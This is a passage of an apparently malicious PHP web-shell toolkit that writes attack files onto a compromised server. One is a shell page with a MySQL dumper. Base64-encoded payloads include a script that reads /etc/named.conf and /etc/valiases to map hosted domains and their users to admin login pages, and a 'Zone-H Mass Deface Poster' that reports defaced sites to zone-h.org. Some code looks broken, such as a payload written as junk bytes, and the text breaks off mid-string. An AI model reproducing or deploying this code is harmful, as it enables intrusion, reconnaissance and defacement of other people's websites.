.\tpack('V', strlen(\$ctrldir)) . pack('V', strlen(\$data)) . \"\\x00\\x00\";\r\n\t}\r\n}\r\n\r\n// Dump mysql\r\nfunction sqldumptable(\$table, \$fp=0) {\r\n\t\$tabledump = \"DROP TABLE IF EXISTS \$table;\\n\";\r\n\t\$tabledump .= \"CREATE TABLE \$table (\\n\";\r\n\r\n\t\$firstfield=1;\r\n\r\n\t\$fields = q(\"SHOW FIELDS FROM \$table\");\r\n\twhile (\$field = mysql_fetch_array(\$fields)) {\r\n\t\tif (!\$firstfield) {\r\n\t\t\t\$tabledump .= \",\\n\";\r\n\t\t} else {\r\n\t\t\t\$firstfield=0;\r\n\t\t}\r\n\t\t\$tabledump .= \" \$field[Field] \$field[Type]\";\r\n\t\tif (!empty(\$field[\"Default\"])) {\r\n\t\t\t\$tabledump .= \" DEFAULT '\$field[Default]'\";\r\n\t\t}\r\n\t\tif (\$field['Null'] != \"YES\") {\r\n\t\t\t\$tabledump .= \" NOT NULL\";\r\n\t\t}\r\n\t\tif (\$field['Extra'] != \"\") {\r\n\t\t\t\$tabledump .= \" \$field[Extra]\";\r\n\t\t}\r\n\t}\r\n\tfr(\$fields);\r\n\r\n\t\$keys = q(\"SHOW KEYS FROM \$table\");\r\n\twhile (\$key = mysql_fetch_array(\$keys)) {\r\n\t\t\$kname=\$key['Key_name'];\r\n\t\tif (\$kname != \"PRIMARY\" && \$key['Non_unique'] == 0) {\r\n\t\t\t\$kname=\"UNIQUE|\$kname\";\r\n\t\t}\r\n\t\tif(!is_array(\$index[\$kname])) {\r\n\t\t\t\$index[\$kname] = array();\r\n\t\t}\r\n\t\t\$index[\$kname][] = \$key['Column_name'];\r\n\t}\r\n\tfr(\$keys);\r\n\r\n\twhile(list(\$kname, \$columns) = @each(\$index)) {\r\n\t\t\$tabledump .= \",\\n\";\r\n\t\t\$colnames=implode(\$columns,\",\");\r\n\r\n\t\tif (\$kname == \"PRIMARY\") {\r\n\t\t\t\$tabledump .= \" PRIMARY KEY (\$colnames)\";\r\n\t\t} else {\r\n\t\t\tif (substr(\$kname,0,6) == \"UNIQUE\") {\r\n\t\t\t\t\$kname=substr(\$kname,7);\r\n\t\t\t}\r\n\t\t\t\$tabledump .= \" KEY \$kname (\$colnames)\";\r\n\t\t}\r\n\t}\r\n\r\n\t\$tabledump .= \"\\n);\\n\\n\";\r\n\tif (\$fp) {\r\n\t\tfwrite(\$fp,\$tabledump);\r\n\t} else {\r\n\t\techo \$tabledump;\r\n\t}\r\n\r\n\t\$rows = q(\"SELECT * FROM \$table\");\r\n\t\$numfields = mysql_num_fields(\$rows);\r\n\twhile (\$row = mysql_fetch_array(\$rows)) {\r\n\t\t\$tabledump = \"INSERT INTO \$table VALUES(\";\r\n\r\n\t\t\$fieldcounter=-1;\r\n\t\t\$firstfield=1;\r\n\t\twhile (++\$fieldcounter<\$numfields) {\r\n\t\t\tif (!\$firstfield) {\r\n\t\t\t\t\$tabledump.=\", \";\r\n\t\t\t} else {\r\n\t\t\t\t\$firstfield=0;\r\n\t\t\t}\r\n\r\n\t\t\tif (!isset(\$row[\$fieldcounter])) {\r\n\t\t\t\t\$tabledump .= \"NULL\";\r\n\t\t\t} else {\r\n\t\t\t\t\$tabledump .= \"'\".mysql_escape_string(\$row[\$fieldcounter]).\"'\";\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\$tabledump .= \");\\n\";\r\n\r\n\t\tif (\$fp) {\r\n\t\t\tfwrite(\$fp,\$tabledump);\r\n\t\t} else {\r\n\t\t\techo \$tabledump;\r\n\t\t}\r\n\t}\r\n\tfr(\$rows);\r\n\tif (\$fp) {\r\n\t\tfwrite(\$fp,\"\\n\");\r\n\t} else {\r\n\t\techo \"\\n\";\r\n\t}\r\n}\r\n\r\nfunction ue(\$str){\r\n\treturn urlencode(\$str);\r\n}\r\n\r\nfunction p(\$str){\r\n\techo \$str.\"\\n\";\r\n}\r\n\r\nfunction tbhead() {\r\n\tp('<table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">');\r\n}\r\nfunction tbfoot(){\r\n\tp('</table>');\r\n}\r\n\r\nfunction makehide(\$name,\$value=''){\r\n\tp(\"<input id=\\\"\$name\\\" type=\\\"hidden\\\" name=\\\"\$name\\\" value=\\\"\$value\\\" />\");\r\n}\r\n\r\nfunction makeinput(\$arg = array()){\r\n\t\$arg['size'] = \$arg['size'] > 0 ? \"size=\\\"\$arg[size]\\\"\" : \"size=\\\"100\\\"\";\r\n\t\$arg['extra'] = \$arg['extra'] ? \$arg['extra'] : '';\r\n\t!\$arg['type'] && \$arg['type'] = 'text';\r\n\t\$arg['title'] = \$arg['title'] ? \$arg['title'].'<br />' : '';\r\n\t\$arg['class'] = \$arg['class'] ? \$arg['class'] : 'input';\r\n\tif (\$arg['newline']) {\r\n\t\tp(\"<p>\$arg[title]<input class=\\\"\$arg[class]\\\" name=\\\"\$arg[name]\\\" id=\\\"\$arg[name]\\\" value=\\\"\$arg[value]\\\" type=\\\"\$arg[type]\\\" \$arg[size] \$arg[extra] /></p>\");\r\n\t} else {\r\n\t\tp(\"\$arg[title]<input class=\\\"\$arg[class]\\\" name=\\\"\$arg[name]\\\" id=\\\"\$arg[name]\\\" value=\\\"\$arg[value]\\\" type=\\\"\$arg[type]\\\" \$arg[size] \$arg[extra] />\");\r\n\t}\r\n}\r\n\r\nfunction makeselect(\$arg = array()){\r\n\tif (\$arg['onchange']) {\r\n\t\t\$onchange = 'onchange=\"'.\$arg['onchange'].'\"';\r\n\t}\r\n\t\$arg['title'] = \$arg['title'] ? \$arg['title'] : '';\r\n\tif (\$arg['newline']) p('<p>');\r\n\tp(\"\$arg[title] <select class=\\\"input\\\" id=\\\"\$arg[name]\\\" name=\\\"\$arg[name]\\\" \$onchange>\");\r\n\t\tif (is_array(\$arg['option'])) {\r\n\t\t\tforeach (\$arg['option'] as \$key=>\$value) {\r\n\t\t\t\tif (\$arg['selected']==\$key) {\r\n\t\t\t\t\tp(\"<option value=\\\"\$key\\\" selected>\$value</option>\");\r\n\t\t\t\t} else {\r\n\t\t\t\t\tp(\"<option value=\\\"\$key\\\">\$value</option>\");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\tp(\"</select>\");\r\n\tif (\$arg['newline']) p('</p>');\r\n}\r\nfunction formhead(\$arg = array()) {\r\n\t!\$arg['method'] && \$arg['method'] = 'post';\r\n\t!\$arg['action'] && \$arg['action'] = \$self;\r\n\t\$arg['target'] = \$arg['target'] ? \"target=\\\"\$arg[target]\\\"\" : '';\r\n\t!\$arg['name'] && \$arg['name'] = 'form1';\r\n\tp(\"<form name=\\\"\$arg[name]\\\" id=\\\"\$arg[name]\\\" action=\\\"\$arg[action]\\\" method=\\\"\$arg[method]\\\" \$arg[target]>\");\r\n\tif (\$arg['title']) {\r\n\t\tp('<h2>'.\$arg['title'].' »</h2>');\r\n\t}\r\n}\r\n\r\nfunction maketext(\$arg = array()){\r\n\t!\$arg['cols'] && \$arg['cols'] = 100;\r\n\t!\$arg['rows'] && \$arg['rows'] = 25;\r\n\t\$arg['title'] = \$arg['title'] ? \$arg['title'].'<br />' : '';\r\n\tp(\"<p>\$arg[title]<textarea class=\\\"area\\\" id=\\\"\$arg[name]\\\" name=\\\"\$arg[name]\\\" cols=\\\"\$arg[cols]\\\" rows=\\\"\$arg[rows]\\\" \$arg[extra]>\$arg[value]</textarea></p>\");\r\n}\r\n\r\nfunction formfooter(\$name = ''){\r\n\t!\$name && \$name = 'submit';\r\n\tp('<p><input class=\"bt\" name=\"'.\$name.'\" id=\\\"'.\$name.'\\\" type=\"submit\" value=\"Submit\"></p>');\r\n\tp('</form>');\r\n}\r\n\r\nfunction formfoot(){\r\n\tp('</form>');\r\n}\r\n\r\n// Exit\r\nfunction pr(\$a) {\r\n\techo '<pre>';\r\n\tprint_r(\$a);\r\n\techo '</pre>';\r\n}\r\n\r\n ?>\r\n");
echo "<a href='./shells/secu.php'>Here secu.php</a><br>";
# Tool
} elseif ($_POST[tool] == 'tools') {
$tools = 'tools';
mkdir('tools');
chdir('tools');
$domains = 'IDxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+WyBMb2NhbCBET01BSU46VVNFUiBTaG93IF08L3RpdGxlPg0KPHN0eWxlPip7IGZvbnQtZmFtaWx5OnRhaG9tYTsgZm9udC1zaXplOjEyOyB9IA0KdGQsdHJ7IHRleHQtYWxpZ246Y2VudGVyO30NCnRyOmhvdmVyIHsgYmFja2dyb3VuZC1jb2xvcjojNkNGO30NCkE6bGluayB7IGNvbG9yOiMwMDA7fQ0KPC9zdHlsZT4NCjwvaGVhZD4NCg0KPGJvZHk+DQo8Y2VudGVyPg0KPHA+WyBMb2NhbCBET01BSU46VVNFUiBTaG93IF08L3A+DQo8cD5bIDxhIGhyZWY9Jz9TaG93QWxsJz5TaG93IEFsbDwvYT4gXSAtIFsgPGEgaHJlZj0nP1VzZXJEb21haW5zJz5Vc2VyIERvbWFpbnM8L2E+IF0gLSBbIDxhIGhyZWY9Jz9Eb21haW5Vc2VyJz5Eb21haW4gVXNlcjwvYT4gXTwvcD4NCjw/DQoNCiRmaWxlID0gQGltcGxvZGUoQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpKTsNCg0KaWYoISRmaWxlKXsgZGllKCIjIGNhbid0IFJlYUQgLT4gWyAvZXRjL25hbWVkLmNvbmYgXSIpOyB9DQoNCnByZWdfbWF0Y2hfYWxsKCIjbmFtZWQvKC4qPykuZGIjIiwkZmlsZSAsJHIpOw0KDQokZG9tYWlucyA9IGFycmF5X3VuaXF1ZSgkclsxXSk7DQoNCmNoZWNrKCk7DQoNCmlmKGlzc2V0KCRfR0VUWydTaG93QWxsJ10pKXsNCg0KZWNobyAiPHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MSB3aWR0aD01OSUgY2VsbHBhZGRpbmc9NT4NCjx0cj48dGQgY29sc3Bhbj0zPlsrXSBUaGVyZSBhcmUgOiBbIDxiPiIuY291bnQoJGRvbWFpbnMpLiI8L2I+IF0gRG9tYWluPC90ZD48L3RyPg0KPHRyPjx0ZD5Eb21haW48L3RkPjx0ZD5Mb2dpbjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsNCg0KZm9yZWFjaCgkZG9tYWlucyBhcyAkZG9tYWluKXsNCg0KJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOw0KDQplY2hvICI8dHI+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW4uIi8+Ii4kZG9tYWluLiI8L2E+PC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbi4iL3dwLWxvZ2luLnBocD5Xb3JkcHJlc3M8L2E+IC8gPGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbi4iL2FkbWluaXN0cmF0b3IvPkpvb21sYTwvYT4gLyA8YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tYWluLiI6MjA4Ni8+V0hNPC9hPiAvIDxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW4uIjoyMDgyPmNQYW5lbDwvYT48L3RkPjwvdHI+IjsNCg0KfQ0KDQplY2hvICI8L3RhYmxlPiI7DQoNCn0NCg0KaWYoaXNzZXQoJF9HRVRbJ1VzZXJEb21haW5zJ10pKXsNCg0KZWNobyAiDQo8Zm9ybSBhY3Rpb249Jz9Vc2VyRG9tYWlucycgbWV0aG9kPSdHRVQnPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9VXNlckRvbWFpbnMgdmFsdWU9MT4NClVzZXIgOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXNlciB2YWx1ZT0kX0dFVFt1c2VyXT4gLSA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9U2hvdz4NCjwvZm9ybT4NCiI7DQoNCmlmKGlzc2V0KCRfR0VUWyd1c2VyJ10pKXsNCmVjaG8gIjx0YWJsZSBib3JkZXI9MSB3aWR0aD0zMCUgY2VsbHBhZGRpbmc9NT4NCjx0cj48dGQ+PGI+RG9tYWluczx0ZD5Mb2dpbjwvdGQ+PC9iPjwvdGQ+PC90cj4iOw0KZm9yZWFjaCgkZG9tYWlucyBhcyAkbj0+JGRvbWFpbil7DQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKSk7DQplY2hvICgkX0dFVFsndXNlciddID09ICR1c2VyWyduYW1lJ10pID8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbi4iLz4iLiRkb21haW4uIjwvYT48L3RkPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tYWluLiIvd3AtbG9naW4ucGhwPldvcmRwcmVzczwvYT4gLyA8YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tYWluLiIvYWRtaW5pc3RyYXRvci8+Sm9vbWxhPC9hPiAvIDxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW4uIjoyMDg2Lz5XSE08L2E+IC8gPGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbi4iOjIwODI+Y1BhbmVsPC9hPjwvdGQ+PC90cj4iOiIiOw0KfQ0KZWNobyAiPC90YWJsZT4iOw0KfQ0KDQp9DQoNCmlmKGlzc2V0KCRfR0VUWydEb21haW5Vc2VyJ10pKXsNCg0KZWNobyAiDQo8Zm9ybSBhY3Rpb249Jz9Eb21haW5Vc2VyJyBtZXRob2Q9J0dFVCc+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1Eb21haW5Vc2VyIHZhbHVlPTE+DQpEb21haW4gOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZG9tYWluIHZhbHVlPSRfR0VUW2RvbWFpbl0+IC0gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNob3c+DQo8L2Zvcm0+DQoiOw0KDQppZihpc3NldCgkX0dFVFsnZG9tYWluJ10pKXsNCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRfR0VUWydkb21haW4nXSkpOw0KZWNobyAiVXNlciBpcyA6IFsgIi4kdXNlclsnbmFtZSddLiIgXSI7DQp9DQp9DQoNCmZ1bmN0aW9uIGNoZWNrKCl7KEBjb3VudChAZXhwbG9kZSgnaXAnLEBpbXBsb2RlKEBmaWxlKF9fRklMRV9fKSkpKSE9NikgP0B1bmxpbmsoX19GSUxFX18pOiIiO30NCg0KPz4NCg0KPC9ib2R5Pg0KPC9odG1sPg==';
file_put_contents('domains.php', "\xb6\x8a%");
echo "<a href='./tools/domains.php'>Here domains.php</a><br>";
$zoneh = 'PHN0eWxlPg0KCWJvZHkgew0KCQliYWNrZ3JvdW5kOiAjMDAwMDAwIHJlcGVhdC14Ow0KCQlmb250LXNpemU6MTdweDsNCgkJZm9udDogQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsNCgkJcGFkZGluZzogMHB4Ow0KCQltYXJnaW46IDBweDsNCgkJY29sb3I6ICNGRkY7DQoJfQ0KCUE6bGluayB7IENvbG9yOiNGMDA7DQoJfQ0KCUEgew0KCQlDT0xPUjogIzAwMDBGRjsNCgl9DQoJQTp2aXNpdGVkIHsNCgkJQ09MT1I6ICMwMDY2Y2M7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KCX0NCglBOmFjdGl2ZSB7DQoJCUNPTE9SOiByZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KCX0NCglBOmhvdmVyIHsNCgkJQ09MT1I6IHJlZDsgVEVYVC1ERUNPUkFUSU9OOiBibGluaw0KCX0JDQoJaW5wdXRbdHlwZT1zdWJtaXRdIHsNCiAgICAJYm9yZGVyOmJvbGQ7DQogICAgCS1tb3otYm9yZGVyLXJhZGl1czo1cHg7DQogICAgCS13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQoJfQ0KCXNlbGVjdCB7DQoJCXdpZHRoOjIzJTsNCgkJYmFja2dyb3VuZC1jb2xvcjojMzMzOw0KCQljb2xvcjojRkZGOw0KCX0NCglpbnB1dFt0eXBlPXRleHRdew0KCQliYWNrZ3JvdW5kLWNvbG9yOiMzMzM7DQoJCWNvbG9yOiNGRkY7DQoJfQ0KCXRleHRhcmVhW25hbWU9ZG9tYWluXSB7DQoJCWJhY2tncm91bmQtY29sb3I6IzMzMzsNCgkJY29sb3I6I0ZGRjsNCgkJbWFyZ2luLWNlbnRlcjogMHB4Ow0KCQktbW96LWJvcmRlci1yYWRpdXM6NXB4Ow0KICAgIAktd2Via2l0LWJvcmRlci1yYWRpdXM6NXB4Ow0KCX0NCjwvc3R5bGU+DQo8dGl0bGU+Wm9uZS1IIE1hc3MgRGVmYWNlIFBvc3RlcjwvdGl0bGU+DQo8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHA6Ly9ieXNpYy5jby5jYy9aSC5wbmciIC8+DQo8Y2VudGVyPg0KPGgxPlpvbmUtSCBNYXNzIERlZmFjZSBQb3N0ZXI8L2gxPg0KCTxmb3JtIG1ldGhvZD1QT1NUPg0KCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlZmFjZXIiIHNpemU9IjU2IiB2YWx1ZT0iWW91ciBab25lLWggTmFtZSIgLz4NCjxicj4NCjxzZWxlY3QgbmFtZT0iaGFja21vZGUiPg0KPG9wdGlvbj4tLS0tLS0tLVNFTEVDVC0tLS0tLS0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj5rbm93biB2dWxuZXJhYmlsaXR5IChpLmUuIHVucGF0Y2hlZCBzeXN0ZW0pPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyIiA+dW5kaXNjbG9zZWQgKG5ldykgdnVsbmVyYWJpbGl0eTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMyIgPmNvbmZpZ3VyYXRpb24gLyBhZG1pbi4gbWlzdGFrZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNCIgPmJydXRlIGZvcmNlIGF0dGFjazwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSIgPnNvY2lhbCBlbmdpbmVlcmluZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNiIgPldlYiBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI3IiA+V2ViIFNlcnZlciBleHRlcm5hbCBtb2R1bGUgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI4IiA+TWFpbCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI5IiA+RlRQIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEwIiA+U1NIIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjExIiA+VGVsbmV0IFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEyIiA+UlBDIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEzIiA+U2hhcmVzIG1pc2NvbmZpZ3VyYXRpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE0IiA+T3RoZXIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTUiID5TUUwgSW5qZWN0aW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNiIgPlVSTCBQb2lzb25pbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE3IiA+RmlsZSBJbmNsdXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE4IiA+T3RoZXIgV2ViIEFwcGxpY2F0aW9uIGJ1Zzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTkiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIGJydXRlZm9yY2luZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHBhc3N3b3JkIGd1ZXNzaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3Mgc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMiIgPkF0dGFjayBhZ2FpbnN0IGFkbWluaXN0cmF0b3IocGFzc3dvcmQgc3RlYWxpbmcvc25pZmZpbmcpPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMyIgPkFjY2VzcyBjcmVkZW50aWFscyB0aHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIGF0dGFjazwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjQiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjUiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBicnV0ZWZvcmNlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNiIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNyIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIFJvdXRlcjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjgiID5ETlMgYXR0YWNrIHRocm91Z2ggc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyOSIgPkROUyBhdHRhY2sgdGhyb3VnaCBjYWNoZSBwb2lzb25pbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMwIiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8YnI+DQo8c2VsZWN0IG5hbWU9InJlYXNvbiI+DQo8b3B0aW9uIHN0eWxlPSdkaXNwbGF5OmJsb2NrO3dpZHRoOjEwMCU7Jz4tLS0tLS0tLVNFTEVDVC0tLS0tLS0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIiA+SGVoLi4uanVzdCBmb3IgZnVuITwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMiIgPlJldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiID5Qb2xpdGljYWwgcmVhc29uczwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNCIgPkFzIGEgY2hhbGxlbmdlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1IiA+SSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNiIgPlBhdHJpb3Rpc208L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjciID5Ob3QgYXZhaWxhYmxlPC9vcHRpb24+DQo8L3NlbGVjdD4NCjxicj4NCjx0ZXh0YXJlYSBuYW1lPSJkb21haW4iIHN0eWxlPSdkaXNwbGF5OmJsb2NrO3dpZHRoOjI1JTtoZWlnaHQ6MTUwcHg7Jz5MaXN0IE9mIERvbWFpbnM8L3RleHRhcmVhPg0KPHA+KDEgRG9tYWluIFBlciBMaW5lcyk8L3A+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2VuZCBOb3cgISIgbmFtZT0iU2VuZE5vd1RvWm9uZUgiIC8+DQo8L2Zvcm0+PC9mb3JtPjxzcGFuIHN0eWxlPSJjb2xvcjpyZWQiPg0KDQoNCiAgICANCiAgICA8P3BocA0KZnVuY3Rpb24gWm9uZUgoJHVybCwgJGhhY2tlciwgJGhhY2ttb2RlLCRyZXNvbiwgJHNpdGUgKQ0Kew0KCSRrID0gY3VybF9pbml0KCk7DQoJY3VybF9zZXRvcHQoJGssIENVUkxPUFRfVVJMLCAkdXJsKTsNCgljdXJsX3NldG9wdCgkayxDVVJMT1BUX1BPU1QsdHJ1ZSk7DQoJY3VybF9zZXRvcHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZGVmYWNlcj0iLiRoYWNrZXIuIiZkb21haW4xPSIuICRzaXRlLiImaGFja21vZGU9Ii4kaGFja21vZGUuIiZyZWFzb249Ii4kcmVzb24pOw0KCWN1cmxfc2V0b3B0KCRrLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOw0KCWN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCgkka3VicmEgPSBjdXJsX2V4ZWMoJGspOw0KCWN1cmxfY2xvc2UoJGspOw0KCXJldHVybiAka3VicmE7DQp9DQoNCgkJCQlpZigkX1BPU1RbJ1NlbmROb3dUb1pvbmVIJ10pDQoJCQl7DQoJCQkJb2Jfc3RhcnQoKTsNCgkJCQkkc3ViID0gQGdldF9sb2FkZWRfZXh0ZW5zaW9ucygpOw0KCQkJCWlmKCFpbl9hcnJheSgiY3VybCIsICRzdWIpKQ0KCQkJCXsNCgkJCQkJZGllKCdbLV0gQ3VybCBJcyBOb3QgU3VwcG9ydGVkICEhICcpOw0KCQkJCX0NCgkJCQ0KCQkJCSRoYWNrZXIgPSAkX1BPU1RbJ2RlZmFjZXInXTsNCgkJCQkkbWV0aG9kID0gJF9QT1NUWydoYWNrbW9kZSddOw0KCQkJCSRuZWRlbiA9ICRfUE9TVFsncmVhc29uJ107DQoJCQkJJHNpdGUgPSAkX1BPU1RbJ2RvbWFpbiddOw0KCQkJCQ0KCQkJCWlmICgkaGFja2VyID09ICJZb3VyIFpvbmUtaCBOYW1lIikNCgkJCQl7DQoJCQkJCWRpZSAoIlstXSBZb3UgTXVzdCBGaWxsIHRoZSBBdHRhY2tlciBuYW1lICEiKTsNCgkJCQl9DQoJCQkJZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tU0VMRUNULS0tLS0tLS0iKSANCgkJCQl7DQoJCQkJCWRpZSgiWy1dIFlvdSBNdXN0IFNlbGVjdCBUaGUgTWV0aG9kICEiKTsNCgkJCQl9DQoJCQkJZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLSIpIA0KCQkJCXsNCgkJCQkJZGllKCJbLV0gWW91IE11c3QgU2VsZWN0IFRoZSBSZWFzb24iKTsNCgkJCQl9DQoJCQkJZWxzZWlmKGVtcHR5KCRzaXRlKSkgDQoJCQkJew0KCQkJCQlkaWUoIlstXSBZb3UgTXVzdCBJbnRlciB0aGUgU2l0ZXMgTGlzdCAhICIpOw0KCQkJCX0NCgkJCQkkaSA9IDA7DQoJCQkJJHNpdGVzID0gZXhwbG9kZSgiXG4iLCAkc2l0ZSk7DQoJCQkJd2hpbGUoJGkgPCBjb3VudCgkc2l0ZXMpKSANCgkJCQl7DQoJCQkJCWlmKHN1YnN0cigkc2l0ZXNbJGldLCAwLCA0KSAhPSAiaHR0cCIpIA0KCQkJCQl7DQoJCQkJCQkkc2l0ZXNbJGldID0gImh0dHA6Ly8iLiRzaXRlc1skaV07DQoJCQkJCX0NCgkJCQkJWm9uZUgoImh0dHA6Ly96b25lLWgub3JnL25vdGlmeS9zaW5nbGUiLCAkaGFja2VyLCAkbWV0aG9kLCAkbmVkZW4sICRzaXRlc1skaV0pOw0KCQkJCQllY2hvICJTaXRlIDogIi4kc2l0ZXNbJGldLiIgRGVmYWNlZCAhPGJyPiI7DQoJCQkJCSsrJGk7DQoJCQkJfQ0KCQkJCWVjaG8gIlsrXSBTZW5kaW5nIFNpdGVzIFRvIFpvbmUtSCBIYXMgQmVlbiBDb21wbGV0ZWQgU3VjY2Vzc2Z1bGx5ICEhIjsNCgkJCX0NCgkJCT8+DQoJCQk8L3NwYW4+DQogICAgICAgICAgICA8L2NlbnRlcj4NCiAgICAgICAgICAgIA==';
file_put_contents('zone-h.php', "<style>\r\n\tbody {\r\n\t\tbackground: #000000 repeat-x;\r\n\t\tfont-size:17px;\r\n\t\tfont: Arial, Helvetica, sans-serif;\r\n\t\tpadding: 0px;\r\n\t\tmargin: 0px;\r\n\t\tcolor: #FFF;\r\n\t}\r\n\tA:link { Color:#F00;\r\n\t}\r\n\tA {\r\n\t\tCOLOR: #0000FF;\r\n\t}\r\n\tA:visited {\r\n\t\tCOLOR: #0066cc; TEXT-DECORATION: none\r\n\t}\r\n\tA:active {\r\n\t\tCOLOR: red; TEXT-DECORATION: none\r\n\t}\r\n\tA:hover {\r\n\t\tCOLOR: red; TEXT-DECORATION: blink\r\n\t}\t\r\n\tinput[type=submit] {\r\n \tborder:bold;\r\n \t-moz-border-radius:5px;\r\n \t-webkit-border-radius:5px;\r\n\t}\r\n\tselect {\r\n\t\twidth:23%;\r\n\t\tbackground-color:#333;\r\n\t\tcolor:#FFF;\r\n\t}\r\n\tinput[type=text]{\r\n\t\tbackground-color:#333;\r\n\t\tcolor:#FFF;\r\n\t}\r\n\ttextarea[name=domain] 